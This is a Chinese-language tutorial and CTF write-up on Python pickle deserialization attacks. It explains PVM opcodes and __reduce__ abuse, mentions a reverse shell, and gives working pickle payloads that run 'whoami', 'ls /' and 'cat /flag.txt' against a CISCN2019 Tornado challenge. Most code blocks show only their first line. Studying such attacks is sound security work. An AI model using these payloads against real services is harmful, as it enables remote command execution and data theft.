0x01 序列化与反序列化
Python中的序列化操作是通过pickle
和 cPickle
模块(操作是一样的,这里以pickle为例):
1、dump
和load
与文件操作结合起来:
(1)序列化:
1 | pickle.dump(obj, file, protocol=None,) |
必填参数obj
表示将要封装的对象,必填参数file
表示obj
要写入的文件对象,file
必须以二进制可写模式打开,即wb
。
(2)反序列化
1 | pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict" |
必填参数file
必须以二进制可读模式打开,即rb
,其他都为可选参数。
(3)示例:
1 | import pickle |
2、dumps
与loads
则不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换。
(1)序列化:
1 | pickle.dumps(obj) |
(2)反序列化
1 | pickle.loads(bytes_object) |
(3)示例:
1 | # python3 |
output:
1 | b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.' |
1 | # python2 |
output:
1 | (lp0 |
0x02 PVM 操作码
要想真正的利用反序列化,我们还得从底层了解一下pickle数据的格式是什么样的。
c
:读取新的一行作为模块名module
,读取下一行作为对象名object
,然后将module.object
压入到堆栈中。(
:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t
搭配使用,以产生一个元组。t
:从堆栈中弹出对象,直到一个(
被弹出,并创建一个包含弹出对象(除了(
)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。S
:读取引号中的字符串直到换行符处,然后将它压入堆栈。R
:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。.
:结束pickle
简单说来就是:
c
:以c开始的后面两行的作用类似os.system
的调用,其中cos
在第一行,system
在第二行。(
:相当于左括号t
:相当于右括号S
:表示本行的内容一个字符串R
:执行紧靠自己左边的一个括号对(即(
和t
之间)的内容.
:代表该pickle结束
举一个例子:
1 | cos |
我们将上面的序列化字符串在python2下反序列化,相当于执行了os.system('whoami')
1 | # python2 |
0x03 反序列化漏洞利用
1、可能出现的地方:
- 通常在解析认证token,session的时候。现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。
- 可能将对象Pickle后存储成磁盘文件。
- 可能将对象Pickle后在网络中传输。
- 可能参数传递给程序,比如sqlmap的代码执行漏洞
2、利用方式
python中的类有一个__reduce__
方法,类似与PHP中的wakeup
,在反序列化的时候会自动调用。
这里注意,在python2中只有内置类才有__reduce__
方法,即用class A(object)
声明的类,而python3中已经默认都是内置类了,具体可参考这篇文章
而我们定义的__reduce__
可以返回一个元组,这个元组包含2到5个元素,主要用到前两个参数,即一个可调用的对象,用于重建对象时调用,一个参数元素(也是元组形式),供那个可调用对象使用。
举个例子就清楚了:
1 | import pickle |
可以看到成功执行了命令:
我们再试一下反弹shell,在ubuntu上运行下列代码:
1 | import pickle |
在kali上监听8888端口,可以看到成功反弹shell。
pickle.loads
是会解决import 问题,对于未引入的module
会自动尝试import
。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。
1 | eval, execfile, compile, open, file, map, input, |
0x04 任意代码执行
pickle 是不能序列化代码对象的,但是自从 python 2.6 起,Python 给我们提供了一个可以序列化code对象的模块Marshal
,如下:
1 | import pickle |
输出如下:
为了保证格式问题采用base64编码一下,但是我们并不能像前面那样利用__reduce__
来调用,因为__reduce__
是利用调用某个可调用对象(callable) 并传递参数来执行的,而我们这个函数本身就是一个 callable ,我们需要执行它,而不是将他作为某个函数的参数。
这时候就需要利用PVM操作码来进行构造了,想要这段输出的base64的内容得到执行,我们需要如下代码:
1 | (types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))() |
Python 能通过 types.FunctionTyle(func_code,globals(),'')()
来动态地创建匿名函数,所以上面的语句实际上就是:
1 | code_str = base64.b64decode(code_enc) |
最终上面的例子构造出来的PVM语句如下:
1 | ctypes |
我们将他反序列化一下看看:
1 | import pickle |
发现成功执行了code
函数里的语句:
这样我们可以用如下脚本构造payload,再根据实际情况对payload进行url编码之类的操作:
1 | import marshal |
0x05 实例分析
CISCN2019 ikun
这题先通过逻辑漏洞修改表单的折扣来购买lv6产品,然后伪造JWT为admin拿到源码,我们直接来讲python反序列化的地方。
审计一下源码,使用的tornado框架,问题在views/Admin.py
中:
1 | import tornado.web |
可以看到在post
方法中,使用become
传参进去,并且对传进来的值进行url
解码,然后反序列化,反序列化的结果通过p
在前端回显了。
这里就存在一个反序列化漏洞,但是这题过滤了很多执行系统命令的函数,我看网上大多数的wp直接猜出/flag.txt
然后用eval(open('/flag.txt','r').read())
来读取文件了。
实际上这里可以使用commands.getoutput()
来执行命令:
1 | # coding=utf8 |
得到:
1 | ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A. |
再将上面脚本的ls /
改为cat /flag.txt
,得到最终payload:
1 | ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A. |
修改become的值为上述payload即可得到flag:
参考链接: